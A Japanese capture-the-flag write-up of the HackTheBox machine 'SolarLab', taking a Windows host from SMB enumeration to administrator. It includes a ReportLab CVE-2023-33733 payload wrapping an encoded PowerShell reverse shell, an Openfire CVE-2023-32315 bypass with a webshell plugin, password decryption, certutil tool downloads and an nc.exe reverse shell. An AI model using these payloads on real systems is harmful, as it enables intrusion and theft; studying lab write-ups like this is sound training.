HackTheBox SolarLab WriteUp

今回はHackTheBoxのMediumマシン「SolarLab」のWriteUpです。
名前からはどのようなマシンなのかわかりませんね。楽しみです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2e1a189a-1f1e-2fd6-99f1-0f5ce0a3cc07.png)

グラフはいつものMediumという感じですね。
攻略目指して頑張ります！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## SolarLab

### 列挙

それでは攻略を開始しましょう。
まずは```nmap```から実行します。

```bash
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.129.111.141 

PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

HTTPとSMBがオープンしています！サブドメインを使用したWEBとして6791番ポートもオープンしていますね。まずはWEBへアクセスしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/523717ce-73a8-3254-3fc6-9b212ab20cb3.png)

80番はかっこいい感じのサイトが表示されました。サイトを軽く確認してみましたが、他に遷移はなさそうです。6791番ポートも確認してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ff920507-73a1-9df3-937b-2a862b249e4d.png)

ログイン画面が表示されました。ただ認証情報はなく、SQLインジェクションも発火しませんでした。あとで認証情報を取得できた後、調査することになると思うので一旦放置しておきます。

### NULL Session

では、続いてSMBをチェックします。NULLセッションで接続できるか試してみましょう。

```bash
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ smbclient -N -L '\\10.129.111.141' 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	Documents       Disk      
	IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.111.141 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

NULLセッションでの接続に成功し、共有を確認できました。さらに、デフォルトではない```Documents```という共有も確認できたので、アクセスしてみましょう。

```bash
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ smbclient -N '\\10.129.111.141\Documents' 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Fri Apr 26 10:47:14 2024
  ..                                 DR        0  Fri Apr 26 10:47:14 2024
  concepts                            D        0  Fri Apr 26 10:41:57 2024
  desktop.ini                       AHS      278  Fri Nov 17 05:54:43 2023
  details-file.xlsx                   A    12793  Fri Nov 17 07:27:21 2023
  My Music                        DHSrn        0  Thu Nov 16 14:36:51 2023
  My Pictures                     DHSrn        0  Thu Nov 16 14:36:51 2023
  My Videos                       DHSrn        0  Thu Nov 16 14:36:51 2023
  old_leave_request_form.docx         A    37194  Fri Nov 17 05:35:57 2023

		7779839 blocks of size 4096. 1894237 blocks available
```

多くのファイルがありますが、一番気になるのは```details-file.xlsx```です。とりあえずダウンロードします。

```bash
smb: \> get details-file.xlsx
getting file \details-file.xlsx of size 12793 as details-file.xlsx (11.8 KiloBytes/sec) (average 11.8 KiloBytes/sec)
```

ダウンロードできたので、中身を見てみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/103dc61c-7a5f-1399-a109-bc81787896d9.png)

認証情報が書かれています！

### Custom Userlist

Excelで見つけた認証情報を、ログイン画面で使用するのかと思いましたが...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b0ac1df5-67ea-e3d6-6fa4-63729521f8d2.png)

認証情報が間違っているどころか、ユーザが存在しないというメッセージが表示されました。しかし、Excelファイルで書かれたユーザ名が架空のものというのは少し違和感を感じます。もう一度ユーザ名の一覧を確認してみます。

```bash
Alexander.knight@gmail.com
KAlexander
Alexander.knight@gmail.com
blake.byte
AlexanderK
ClaudiaS
```

現状はこのユーザ名をそのまま使用しただけでしたが、フルネームで書かれた二つのユーザ名（```Alexander.knight```と```blake.byte```）はカスタムできそうな雰囲気があります。```username-anarchy```を実行し、カスタムユーザリストを作成します。

```bash
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ /opt/original/username-anarchy/username-anarchy -i user.txt | tee custom_user.txt
alexander
alexanderknight
alexander.knight
alexande
alexknig
alexanderk
a.knight
aknight
kalexander
k.alexander
knighta
knight
knight.a
knight.alexander
ak
blake
blakebyte
blake.byte
blakebyt
blakbyte
blakeb
b.byte
bbyte
bblake
b.blake
byteb
byte
byte.b
byte.blake
bb
```

ユーザリストが作成できました。これをすべて手動で試すのはしんどいので、```hydra```を使用して「User not found」が返ってこない有効なユーザ名を見つけます。

```bash
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ hydra -L custom_user.txt -p password report.solarlab.htb -s 6791 http-post-form '/login:username=^USER^&password=password:User not found.'
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-12 06:27:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:30/p:1), ~2 tries per task
[DATA] attacking http-post-form://report.solarlab.htb:6791/login:username=^USER^&password=password:User not found.
[6791][http-post-form] host: report.solarlab.htb   login: alexanderk   password: password
[6791][http-post-form] host: report.solarlab.htb   login: blakeb   password: password
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-12 06:27:43
```

有効なユーザ名を二つ発見できました！
それぞれのユーザでログインできないか試したところ...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7e72c36e-95b7-0818-35e4-96744261b718.png)

```blakeb```というユーザ名でのログインに成功しました！
パスワードは```ThisCanB3typedeasily1@```です。

### CVE-2023-33733

では、ログイン後のWEBを見ていきましょう。
一番上に「Leave Request」と「Training Request」というボタンがあります。とりあえず「Leave Request」を見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/47fc054f-56df-d448-0dbb-2b1434ebb9ee.png)

フォーム画面が表示されました。一番下のボタンに「Generate PDF」があるので、PDFを生成することができるようです。
ファイルのアップロード機能があったり、コードを書くことができる機能があるので、色々とできそうですが、とりあえず適当に入力し、PDFを作ってみることにします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/3f1e009d-1b5e-9c4b-495b-2f968eaed50d.png)

ファイルのアップロードには画像のみが許可されていたので、普通の画像を指定しています。入力できたら「Generate PDF」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/4fd38d05-c9c3-73a3-72a1-95c57c6d91fd.png)

生成されたPDFが表示されました。タグはエスケープ処理されているみたいですね。指定した画像は右下に小さく表示されています。PDF系では生成ツールに脆弱性が存在することが多いので、このPDFをダウンロードし、```exiftool```を実行してみましょう。

```bash
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ exiftool output2.pdf     
ExifTool Version Number         : 12.76
File Name                       : output2.pdf
Directory                       : .
File Size                       : 212 kB
File Modification Date/Time     : 2024:05:12 10:58:18-04:00
File Access Date/Time           : 2024:05:12 10:58:18-04:00
File Inode Change Date/Time     : 2024:05:12 10:58:18-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Author                          : (anonymous)
Create Date                     : 2024:05:12 17:54:50-02:00
Creator                         : (unspecified)
Modify Date                     : 2024:05:12 17:54:50-02:00
Producer                        : ReportLab PDF Library - www.reportlab.com
Subject                         : (unspecified)
Title                           : (anonymous)
Trapped                         : False
Page Mode                       : UseNone
Page Count                      : 1
```

```ReportLab PDF Library```が使用されているようです。脆弱性がないかをGoogleで調べてみると以下の記事を発見しました。

https://github.com/c53elyas/CVE-2023-33733/tree/master

GitHubには脆弱性の詳細がまとまっており、PoCコードも公開されています。
どうやら、過去に発見されたRCEの脆弱性への対策をバイパスすることで、同じようにRCEを発火させることが可能なようです。

説明の下にはExploitコードも書かれていますが、記事の一番下にも「What's Else?」としてExploitコードが書かれています。

```bash
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>
EOF

xhtml2pdf mallicious.html
ls -al /tmp/exploited
```

私はこのExploitコードに目を付けました。理由は実際のリクエストにタグが使用されており、コードが短いことです。
しかし、一つだけ問題があります。それは入力文字数の制限があることです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ba2ceb27-f282-1199-5062-69bec5ea9f57.png)

入力欄の下に「10/300 characters」と書かれており、300文字までという制限があることがわかります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d45c85a7-c776-f9e9-981f-651cb2deba50.png)

試しに入力してみましたが、300文字超えてしまいます。一見無理そうな感じがしますが、そんなことはありません。300文字の制限があるのは、Justificationだけなので日付などの部分に入力すればよいのです。

## blake としてのシェル

それでは、日付の箇所にExploitコードを入力し、シェルの取得を目指します。
使用したペイロードは「PowerShell #3 (Base64)」です。

```bash
Content-Disposition: form-data; name="time_interval"

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgA1ACIALAAyADEAMgAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>
```

それでは、待ち受けを作成したうえでリクエストを送信しましょう！

```
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.65] from (UNKNOWN) [10.129.237.5] 49859

PS C:\Users\blake\Documents\app> whoami
solarlab\blake
```

シェルを取得できました！

```
PS C:\Users\blake\Desktop> dir

    Directory: C:\Users\blake\Desktop

Mode                 LastWriteTime         Length Name                                          
----                 -------------         ------ ----                                          
-ar---         5/13/2024  11:08 AM             34 user.txt                                      
```

ユーザフラグも取得できました。

### 横移動

それでは内部の列挙を始めていきましょう。
まずは権限を確認します。

```
PS C:\Users\blake\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
```

権限はかなり厳しく制限されているようです。
グループも見てみます。

```
PS C:\Users\blake\Desktop> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes                                        
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH                     Well-known group S-1-5-3      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192                             
```

こちらも特に気になるものはないです。
インストールされているサービスも確認してみます。

```
PS C:\Program Files> dir

    Directory: C:\Program Files

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----        11/16/2023   9:39 PM                Common Files                                                         
d-----         4/26/2024   4:39 PM                Internet Explorer                                                    
d-----        11/17/2023  10:04 AM                Java                                                                 
d-----        11/16/2023   9:47 PM                Microsoft Update Health Tools                                        
d-----         12/7/2019  11:14 AM                ModifiableWindowsApps                                                
d-----        11/17/2023   2:22 PM                Openfire                                                             
d-----         4/26/2024   2:38 PM                RUXIM                                                                
d-----          5/3/2024   2:34 PM                VMware                                                               
d-----        11/16/2023  11:12 PM                Windows Defender                                                     
d-----         4/26/2024   4:39 PM                Windows Defender Advanced Threat Protection                          
d-----        11/16/2023  10:11 PM                Windows Mail                                                         
d-----        11/16/2023  10:11 PM                Windows Media Player                                                 
d-----         4/26/2024   4:39 PM                Windows Multimedia Platform                                          
d-----         12/7/2019  11:50 AM                Windows NT                                                           
d-----        11/16/2023  10:11 PM                Windows Photo Viewer                                                 
d-----         4/26/2024   4:39 PM                Windows Portable Devices                                             
d-----         12/7/2019  11:31 AM                Windows Security                                                     
d-----         12/7/2019  11:31 AM                WindowsPowerShell                      
```

```Openfire```というサービスを発見しました。
```netstat```を実行し、内部でポートが開いているかどうかを確認してみます。

```
PS C:\Program Files\Openfire> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4508
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       900
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       1604
 ...
  TCP    127.0.0.1:5000         0.0.0.0:0              LISTENING       5184
  TCP    127.0.0.1:5222         0.0.0.0:0              LISTENING       2372
  TCP    127.0.0.1:5223         0.0.0.0:0              LISTENING       2372
  TCP    127.0.0.1:5262         0.0.0.0:0              LISTENING       2372
  TCP    127.0.0.1:5263         0.0.0.0:0              LISTENING       2372
  TCP    127.0.0.1:5269         0.0.0.0:0              LISTENING       2372
  TCP    127.0.0.1:5270         0.0.0.0:0              LISTENING       2372
  TCP    127.0.0.1:5275         0.0.0.0:0              LISTENING       2372
  TCP    127.0.0.1:5276         0.0.0.0:0              LISTENING       2372
  TCP    127.0.0.1:7070         0.0.0.0:0              LISTENING       2372
  TCP    127.0.0.1:7443         0.0.0.0:0              LISTENING       2372
  TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       2372
  TCP    127.0.0.1:9091         0.0.0.0:0              LISTENING       2372
...
```

多くのポートが開いています。```Openfire```のデフォルトポートは9090番と9091番なので、内部でサービスが動いていそうです。Kaliからアクセスできるように```chisel```を使用します。

```
> Kali
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.65>$ /opt/too1s-l1nux/chisel server -p 8000 --reverse
2024/05/14 11:24:51 server: Reverse tunnelling enabled
2024/05/14 11:24:51 server: Fingerprint 5Z+0pdKRz3vsqhzThwmZuqHtnGRhnsn+9DyfFZoTB8o=
2024/05/14 11:24:51 server: Listening on http://0.0.0.0:8000

> Target
PS C:\Users\blake\Downloads> ./chisel.exe client 10.10.14.65:8000 R:9090:127.0.0.1:9090 R:9091:127.0.0.1:9091
```

実行に成功したら、ブラウザでアクセスしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a1451dc2-7079-6a55-4973-1fdc33a300d8.png)

ログイン画面が出力されました。
Excelに書いてある認証情報を試してみましたが、ログインできませんでした。

### CVE-2023-32315

内部探索で認証情報を見つけていくのかと思いましたが、ログインボタンの下に```Openfire```のバージョンが書かれていることに気づきました。バージョン4.7.4が使用されているようなので、脆弱性を検索したところ以下の記事を発見しました。

https://github.com/miko550/CVE-2023-32315

認証バイパスの脆弱性が存在しています！PoCも公開されており、実行することで管理者権限をもったユーザを新規に追加することができるようです。追加に成功すると、同フォルダ内に保存されているJARファイルをアップロードすることで、WEBシェルが実行できます。

では、実際にPoCを実行していきましょう。

```bash
+[~/solarlab/CVE-2023-32315]
(σ▰>∇<)σ<10.10.14.3>$ python3 CVE-2023-32315.py -t http://127.0.0.1:9090


 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝
                                                                                                       
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!

[..] Checking target: http://127.0.0.1:9090
Successfully retrieved JSESSIONID: node01fr52sz9p4xu1va6ubc3lc49c1.node0 + csrf: vKqrzEX46X8vVGd
User added successfully: url: http://127.0.0.1:9090 username: msj2uu password: ezg7o9
```

ユーザの追加に成功していそうです。
出力されているユーザ名とパスワードを使用し、ログインしましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f2133dab-0b94-6cca-e1c9-45a148222011.png)

ログインに成功しました！
では、GitHubにも記載されている手順に沿ってWEBシェルへアクセスしましょう。まずはタブの中の「Plugins」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/e6e9a1e9-f14f-f643-2d8b-77d4228c4522.png)

画面の下側に「Upload Plugin」と表示されており、プラグインがアップロードできるのでGitHubからダウンロードした```openfire-management-tool-plugin.jar```をアップロードします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/80257136-e537-c523-a331-44ed5118f354.png)

アップロードに成功したら、「Server」タグから「Server Settings」へ移動し、「Management tool」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f8e587a6-ac27-2c9e-d035-56bbb8716066.png)

ログイン画面が表示されるので、「123」と入力し、ログインします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/064d5d3b-acaf-c753-cff7-0f58a1521d8f.png)

「Management tool」へアクセスできました。はじめは「Program home page」が表示されています。WEBシェルにアクセスするため、右上のドロップダウンメニューから「system command」を選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c51a7867-8af5-a0ce-44b8-4ab829996d61.png)

WEBシェルへアクセスできました！
試しに```whoami```を入力し、実行してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/81bd3ce9-f10d-31e6-8028-3124db1b0255.png)

コマンドの実行に成功しました！

## openfire としてのシェル

それでは、実際にシェルを取得しましょう。
```blake```ユーザのシェルを取得したときと同じように、「PowerShell #3 (Base64)」を入力し、コマンドを実行します。

```
+[~/solarlab]
(σ▰>∇<)σ<10.10.14.3>$ rlwrap nc -lnvp 2123 
listening on [any] 2123 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.16] 62353

PS C:\Program Files\Openfire\bin> whoami
solarlab\openfire
```

シェルの取得に成功しました！

### 権限昇格

いよいよ攻略も終盤です。権限昇格を目指していきます。

```
PS C:\Program Files\Openfire> dir

    Directory: C:\Program Files\Openfire

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----        11/17/2023   2:11 PM                .install4j                                                           
d-----        11/17/2023   2:11 PM                bin                                                                  
d-----         5/16/2024   4:36 PM                conf                                                                 
d-----        11/17/2023   2:11 PM                documentation                                                        
d-----         5/16/2024   4:36 PM                embedded-db                                                          
d-----        11/17/2023   2:11 PM                lib                                                                  
d-----        11/17/2023   2:24 PM                logs                                                                 
d-----         5/16/2024   6:13 PM                plugins                                                              
d-----        11/17/2023   2:11 PM                resources                                                            
-a----         11/9/2022   5:59 PM         375002 changelog.html                                                       
-a----         2/16/2022   5:55 PM          10874 LICENSE.html                                                         
-a----         2/16/2022   5:55 PM           5403 README.html                                                          
-a----         11/9/2022   6:00 PM         798720 uninstall.exe            
```

```openfire```としてのシェルを取得したことで、```Openfire```関連のファイルを読むことができるようになったので、列挙することにしました。

### Openfire Decrypt

列挙を続けていると、```embedded-db```というディレクトリを発見し、名前的にも認証情報など見ることができそうなので、確認してみました。

```
PS C:\Program Files\Openfire\embedded-db> dir

    Directory: C:\Program Files\Openfire\embedded-db

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         5/16/2024   4:36 PM                openfire.tmp                                                         
-a----         5/16/2024   4:36 PM              0 openfire.lck                                                         
-a----         5/16/2024   6:13 PM           2496 openfire.log                                                         
-a----         5/16/2024   4:36 PM            106 openfire.properties                                                  
-a----          5/7/2024   9:15 PM          16161 openfire.script          
```

ログファイルやスクリプトファイルがあります。スクリプトファイルを確認してみると...

```
PS C:\Program Files\Openfire\embedded-db> type openfire.script
SET DATABASE UNIQUE NAME HSQLDB8BDD3B2742
SET DATABASE GC 0
SET DATABASE DEFAULT RESULT MEMORY ROWS 0
SET DATABASE EVENT LOG LEVEL 0
...
SET SCHEMA SYSTEM_LOBS
INSERT INTO BLOCKS VALUES(0,2147483647,0)
SET SCHEMA PUBLIC
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
INSERT INTO OFUSERPROP VALUES('admin','console.rows_per_page','/session-summary.jsp=25')
INSERT INTO OFOFFLINE VALUES('admin',1,'001700223778861',127,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Openfire 4.7.5</body></message>')
INSERT INTO OFOFFLINE VALUES('admin',2,'001700223779069',125,'<message from="solarlab.htb" to="admin@solarlab.htb"><body>A server or plugin update was found: Search 1.7.4</body></message>')
...
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''RoomStatistics.size','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.maxLifetime','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.size','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
INSERT INTO OFPROPERTY VALUES('provider.admin.className','org.jivesoftware.openfire.admin.DefaultAdminProvider',0,NULL)
INSERT INTO OFPROPERTY VALUES('provider.auth.className','org.jivesoftware.openfire.auth.DefaultAuthProvider',0,NULL)
...
```

```admin```のパスワードが出力されました！見るからに暗号化されていそうです。
どのような暗号方式が使用されているかを見ていると、```Openfire```の復号は独自のツールを使用する必要があることがわかりました。
ツールは以下のGitHubに公開されています。

https://github.com/c0rdis/openfire_decrypt

では実際に復号してみましょう。

```bash
+[~/solarlab/openfire_decrypt]
(σ▰>∇<)σ<10.10.14.3>$ java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)
```

復号に成功しました！

## administrator としてのシェル

パスワードを取得できたので、あとはシェルを取得するだけです。
シェルの取得には、```RunasCs```を使用します。

https://github.com/antonioCoco/RunasCs

では、```RunasCs```を実行しますが、アップロードさせる必要があります。
```RunasCs```では、```nc.exe```を実行させるので、```nc.exe```も一緒にアップロードさせましょう。

```
PS C:\Users\Public\Downloads> certutil -urlcache -f http://10.10.14.3:8080/RunasCs.exe RunasCs.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
PS C:\Users\Public\Downloads> certutil -urlcache -f http://10.10.14.3:8080/nc.exe nc.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
```

アップロードに成功したら、実行しましょう。

```
PS C:\Users\Public\Downloads> ./RunasCs.exe Administrator ThisPasswordShouldDo!@ "C:\Users\Public\Downloads\nc.exe 10.10.14.3 2124 -e powershell"
```

実行後、待ち受けを確認すると...

```
+[/opt/too1s-w1ndows]
(σ▰>∇<)σ<10.10.14.3>$ rlwrap nc -lnvp 2124       
listening on [any] 2124 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.16] 52914
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32> whoami
whoami
solarlab\administrator
```

権限昇格成功です！

```
PS C:\Users\Administrator\Desktop> dir
dir

    Directory: C:\Users\Administrator\Desktop

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
-ar---         5/16/2024   4:36 PM             34 root.txt        
```

ルートフラグも無事取得し、完全攻略達成です～！